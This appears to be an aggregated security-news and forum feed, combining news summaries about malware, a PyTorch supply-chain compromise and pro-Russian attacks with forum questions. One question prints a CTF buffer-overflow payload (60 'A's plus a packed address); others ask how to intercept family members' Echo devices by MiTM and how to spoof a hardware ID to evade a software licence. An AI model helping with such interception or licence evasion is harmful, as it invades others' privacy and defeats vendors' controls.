Convolutional Neural Network for Reverse Engineering
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SecurityAffairs Top 10 cybersecurity posts of 2022
These are the most-read cybersecurity articles that have been published by SecurtiyAffairs in 2022. 1 – Russia-linked actors may be behind an explosion at a liquefied natural gas plant in Texas Russian threat actors may be behind the explosion at a liquefied natural gas plant in Texas, the incident took place on June 8. 2 […]
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Linux malware uses outdated WordPress themes and plugins to exploit 30 vulnerabilities
A Linux malware that has gone undetected has been found to exploit 30 vulnerabilities in several outdated WordPress themes and plugins. Malicious players exploited these vulnerabilities to launch malicious JavaScript. Linux malware exploits 30 vulnerab…
How to hack into Amazon echo/Alexa devices.
I want to mess/impress my parents (for non malicious reasons) and intercept their amazon devices located in their room. I’m obviously already connected to my home network so I was wondering if there’s any tools out there that would allow me to do so. I thought about conducting a MiTM to intercept and modify the traffic but not sure what success this would have. Any suggestions is greatly appreciated
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PyTorch compromised to demonstrate dependency confusion attack on Python environments
Threat actors compromised the PyTorch Machine Learning Framework by adding a malicious dependency. The maintainers of the PyTorch package warn of a supply chain attack. Users who have installed PyTorch-nightly on Linux via pip between December 25, 2022 and December 30, 2022, to uninstall it and use the latest binaries. “If you installed PyTorch-nightly on […]
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Question about binary exploitation
Quick question, why does this work here. console python2 -c 'print 60 * "A" + "\xfa\xaf\xad\x0b"' > payload
console ./ctf < payload Your password: FLAG{xxxx.xxxx} But when I write it out, it no longer works? console ./ctf Your password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xfa\xaf\xad\x0b Segmentation fault (core dumped)
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Pro-Russia cyberattacks aim at destabilizing Poland, security agency warns
Poland security agency warns pro-Russian hackers that are continuously targeting the state since the start of the invasion of Ukraine. Since the beginning of the invasion of Ukraine, Poland has been a constant target of cyber attacks conducted by pro-Russian hackers, Poland’s security agency warns. The attacks aimed at almost any entity in Poland, including […]
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Great WPA/WPA2 cracking lists
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Why there is no Decryptor for ALPHV/BlackCat ransomware ?
its been nearly 2 years since its inception submitted by /u/Expensive-Highway697 [link] [comments]
Anyway to make two Pc’s have the same HWID “?
I’m using a paid software that is HWID locked to my desktop. I travel for work frequently and would like to use it on my laptop aswell without paying 2x for a month. submitted by /u/DirtyAndDrunk [link] [comments]